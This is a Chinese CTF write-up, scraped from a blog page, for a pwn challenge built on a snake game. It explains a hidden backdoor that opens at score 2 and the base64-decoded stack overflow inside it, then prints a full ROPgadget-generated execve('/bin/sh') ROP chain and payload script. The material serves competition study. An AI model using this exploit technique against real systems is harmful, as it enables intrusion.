首页 > 其他分享 >第八届工业信息安全技能大赛全国复赛snake_wp

第八届工业信息安全技能大赛全国复赛snake_wp

时间:2025-01-15 17:10:24浏览次数:1  
标签:case __ int LABEL snake wp 6BEE04 dword 复赛

pwn题 snake writeup

多少有点不自信,太久没做题,看到题都有点怕怕的

这个程序是一个贪食蛇游戏,主程序如下:

__int64 __fastcall main_4015A5(__int64 a1, __int64 a2)
{
  int v2; // edx
  int v3; // ecx
  int v4; // er8
  int v5; // er9
  int v7; // [rsp+Ch] [rbp-4h]

  sub_400B6D();
  do
  {
LABEL_2:
    sub_40158D();
    sub_400CA6();
    print_score_400E09(a1, a2, v2, v3, v4, v5);
    v7 = getchar();
  }
  while ( v7 == -1 );
  switch ( v7 )
  {
    case 'A':
    case 'a':
      if ( dword_6BEE04 != 1 )
        dword_6BEE04 = 3;
      goto LABEL_16;
    case 'D':
    case 'd':
      if ( dword_6BEE04 != 3 )
        dword_6BEE04 = 1;
      goto LABEL_16;
    case 'S':
    case 's':
      if ( dword_6BEE04 )
        dword_6BEE04 = 2;
      goto LABEL_16;
    case 'W':
    case 'w':
      if ( dword_6BEE04 != 2 )
        dword_6BEE04 = 0;
      goto LABEL_16;
    case 'q':
      if ( score_dword_6BD3F0 == 2 )
        binsh_401427();  //后门
      return 0LL;
    default:
LABEL_16:
      sub_400E29();
      if ( !(unsigned int)sub_400EDF() )
      {
        if ( qword_6BE4A0[0] == qword_6BE480 )
        {
          ++score_dword_6BD3F0;
          ++dword_6BEE00;
          sub_4014A7();
        }
        a1 = 100000LL;
        usleep(0x186A0u);
        goto LABEL_2;
      }
      IO_puts("Game Over!");
      return 0LL;
  }
}

根据这段代码可以知道,当得分为2时,输入q退出就会进入后门。
后门程序如下:

__int64 binsh_401427()
{
  int v1; // [rsp+Ch] [rbp-474h] BYREF
  char buf[1024]; // [rsp+10h] [rbp-470h] BYREF
  char v3[104]; // [rsp+410h] [rbp-70h] BYREF
  __int64 v4; // [rsp+478h] [rbp-8h]

  IO_puts("?www!dev#etc$/bin/sh");
  IO_fflush(off_6BB868);
  getchar();
  _libc_read(0, buf, 0x400uLL);
  v4 = b64decode_40117D((__int64)buf, &v1);
  return j___libc_memmove_ifunc_0((__int64)v3, v4, v1);// v4拷贝v1个字符到v3
}

这里先打印"?www!dev#etc$/bin/sh",然后读取最多400个字符到buf,然后经过base64解码(这里可以通过输入一些base64字符串可以看出),然后拷贝到v3,这里是存在栈溢出的。
img

然后ROPgadget一把梭

ROPgadget --binary pwn --ropchain

选取payload

#!/usr/bin/env python3
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = b''

p += pack('<Q', 0x00000000004113f3) # pop rsi ; ret
p += pack('<Q', 0x00000000006bb0e0) # @ .data
p += pack('<Q', 0x00000000004005af) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x0000000000480bb1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004113f3) # pop rsi ; ret
p += pack('<Q', 0x00000000006bb0e8) # @ .data + 8
p += pack('<Q', 0x00000000004458a0) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000480bb1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004006a6) # pop rdi ; ret
p += pack('<Q', 0x00000000006bb0e0) # @ .data
p += pack('<Q', 0x00000000004113f3) # pop rsi ; ret
p += pack('<Q', 0x00000000006bb0e8) # @ .data + 8
p += pack('<Q', 0x000000000044cb86) # pop rdx ; ret
p += pack('<Q', 0x00000000006bb0e8) # @ .data + 8
p += pack('<Q', 0x00000000004458a0) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000475e30) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000401dac) # syscall

from base64 import b64encode
payload = b'a'*120 + p
print(b64encode(payload))

标签:case,__,int,LABEL,snake,wp,6BEE04,dword,复赛
From: https://www.cnblogs.com/liulangbxc/p/18673412

相关文章

  • WPF冷却塔组件
    1.封装基类ComponentBase.cs继承自UserControl,定义组件中使用的属性和命令publicclassComponentBase:UserControl{privatebool_isSelected;publicboolIsSelected{get{return_isSelected;}set{_isSelecte......
  • WPF 使用GalaSoft.MvvmLight实现MVVM
    MVVM(Model-View-ViewModel)是一种设计模式,用于分离用户界面(View)与业务逻辑(ViewModel)和数据模型(Model)。这种模式特别适用于WPF(WindowsPresentationFoundation)应用程序,因为它可以充分利用WPF的数据绑定、命令和依赖属性等特性,提高应用程序的可维护性和可测试性。MVVM的三个......
  • 【WPF】使用RenderTargetBitmap截图的时候位置出现偏移的一些解决办法
    简介在WPF中,如果你需要把控件的渲染画面保存到图片,那么唯一的选择就是RenderTargetBitmap。不过,RenderTargetBitmap是个比较难伺候的主,有时候你以为能工作,但实际上不能;你以为能够正常截图,但实际上截出来的图片是歪的。所以,我总结一下自己项目中遇到的坑和解决办法吧!保存的图片......
  • DevExpress WPF 中文教程:Grid - 如何创建列并将其绑定到数据属性?
    DevExpressWPF拥有120+个控件和库,将帮助您交付满足甚至超出企业需求的高性能业务应用程序。通过DevExpressWPF能创建有着强大互动功能的XAML基础应用程序,这些应用程序专注于当代客户的需求和构建未来新一代支持触摸的解决方案。无论是Office办公软件的衍伸产品,还是以数据为中心......
  • WPF中后端bool是否可见字段转换为前端Visibility
    1.编写转换类Bool2VisibilityConverter,继承自IValueConverter(usingSystem.Windows.Data;)publicclassBool2VisibilityConverter:IValueConverter{publicobjectConvert(objectvalue,TypetargetType,objectparameter,CultureInfoculture){......
  • WPF命令模式深度解析:从RelayCommand到命令自动刷新机制
    引言 在WPF应用程序开发中,命令模式是一个非常重要的设计模式,它帮助我们将UI交互与业务逻辑解耦。本文将深入探讨WPF命令模式的实现机制,特别是通过RelayCommand的实现来理解命令模式的核心概念。 1.命令的基础概念1.1什么是命令?命令是将用户操作(如按钮点击)转换为具体行为......
  • WPF Prism框架INavigationAware接口的一个bug记录
    Prism中使用INavigationAware进行页面切换的时候,需要实现IsNavigationTarget、OnNavigatedFrom、OnNavigatedTo这三个方法,具体如下:regionINavigationAware接口方法publicboolIsNavigationTarget(NavigationContextnavigationContext){//是否允许重复导航进来//返回True,......
  • R语言caret包的resamples函数比较在同一数据集上多个机器学习模型的比较结果实战、sum
    R语言caret包的resamples函数比较在同一数据集上多个机器学习模型的比较结果实战、使用summary函数比较模型的汇总信息、使用lattice包的bwplot函数使用箱图对比多个模型在多个指标上的性能差异目录R语言使用caret包的resamples函数比较在同一数据集上多个机器学习模型的比......
  • 一个超经典 WinForm,WPF 卡死问题的终极反思
    一:背景1.讲故事写这篇文章起源于训练营里一位朋友最近在微信聊到他对这个问题使用了一种非常切实可行,简单粗暴的方式,并且也成功解决了公司里几个这样的卡死dump,如今在公司已是灵魂级人物,让我也尝到了什么叫反哺!对,这个东西叫Harmony,github网址:https://github.com/pardeike/H......
  • [oeasy]python059变量命名有什么规则_惯用法_蛇形命名法_name_convention_snake
    中文能用在python里吗_汉语拼音变量名_蛇形命名法_驼峰命名法回忆上次内容上次玩的还是下划线下划线在变量定义的时候代替空格 空格本身也很重要留白让代码提高可读性   添加图片注释,不超过140字(可选) 还有什......